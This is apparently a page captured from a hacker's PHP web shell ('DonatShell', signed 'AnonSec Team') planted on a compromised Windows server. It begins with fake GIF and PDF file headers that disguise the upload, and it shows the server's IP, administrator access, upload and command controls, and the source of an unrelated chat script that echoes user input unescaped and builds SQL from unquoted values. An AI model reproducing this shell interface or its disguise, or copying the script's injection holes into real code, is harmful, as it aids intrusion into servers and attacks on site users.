GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/Tools/AnyChat/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/Tools/AnyChat/AnyChat.php
<?
// Tools/AnyChat/AnyChat.php
$TRACK = "<b>".basename(__FILE__).'</b> <span class="pv_fl">('.__FILE__.")</span>\n<ol>\n";

ini_set('include_path',ini_get('include_path').PATH_SEPARATOR.$_SERVER['DOCUMENT_ROOT']."/"); // Add the DOCUMENT_ROOT to the include_path.
$skipAuthentication = true;
include('application.phpinc');

$task = formValue('task','');
$Name = formValue('Name','');
$DateTime = formValue('Time','');
$Time = valid_time(substr($DateTime,11),'12s');
$ChatText = str_replace('<br>',' &nbsp; &nbsp;<br>',formValue('ChatText',''));

switch ( $task ) {
	case 'Get':
		if ( !isset($_SESSION['anychatName']) ) $_SESSION['anychatName'] = '';
		$now = currentDateTime();
		$query = "
				SELECT anychatId,
							 anychatName,
							 anychatChat,
							 anychatAddedOn
					FROM `anychat`
				 WHERE anychatId > ".$_SESSION['anychatId']."
			ORDER BY anychatAddedOn
		";
/** /
					 AND anychatName != '".query_safe($_SESSION['anychatName'])."'
/**/
		$anychatResult = query_do($query);
		$anychatResultCount = $_SESSION['qry']['count'];
		if ( $anychatResultCount ) {
			mysqli_data_seek($anychatResult, 0);
			#$anychatRow = mysqli_fetch_assoc($anychatResult);
			while ($anychatRow = mysqli_fetch_assoc($anychatResult)) {
				$Name = $anychatRow['anychatName'];
				if ( $Name != $_SESSION['anychatName'] ) {
					$nameClass = 'samp';
				} else {
					$nameClass = 'info';
				}
				$Time = valid_time(substr($anychatRow['anychatAddedOn'],11),'12s');
				$ChatText = str_replace("\\'","'",stripslashes($anychatRow['anychatChat']));
				echo '<div><span class="floatRight silver small">'.$Time.'</span><span class="'.$nameClass.'">'.$Name.':</span> '.$ChatText.' &nbsp; &nbsp;</div>';
				$anychatId = $anychatRow['anychatId'];
			}
			$_SESSION['anychatId'] = $anychatId;
		}
	break;
	case 'Send':
		$_SESSION['anychatName'] = $Name;
		echo '<div><span class="floatRight silver small">'.$Time.'</span><span class="info">'.$Name.':</span> '.$ChatText.' &nbsp; &nbsp;</div>';
		// Store the chat.
		$query = "
				INSERT
					INTO `anychat` (
					anychatName,
					anychatChat,
					anychatAddedOn
				) VALUES (
				 '".query_safe($Name)."',
				 '".query_safe($ChatText)."',
				 '".query_safe($DateTime)."'
				)
		";
		d_Var('anychatINSERT',$query,'q');
		$anychatINSERT = query_do($query);
		@d_Var('$anychatINSERT',$anychatINSERT);
		$_SESSION['anychatId'] = $_SESSION['qry']['insertId'] - 1;
	break;
}
?>

Anon7 - 2022
AnonSec Team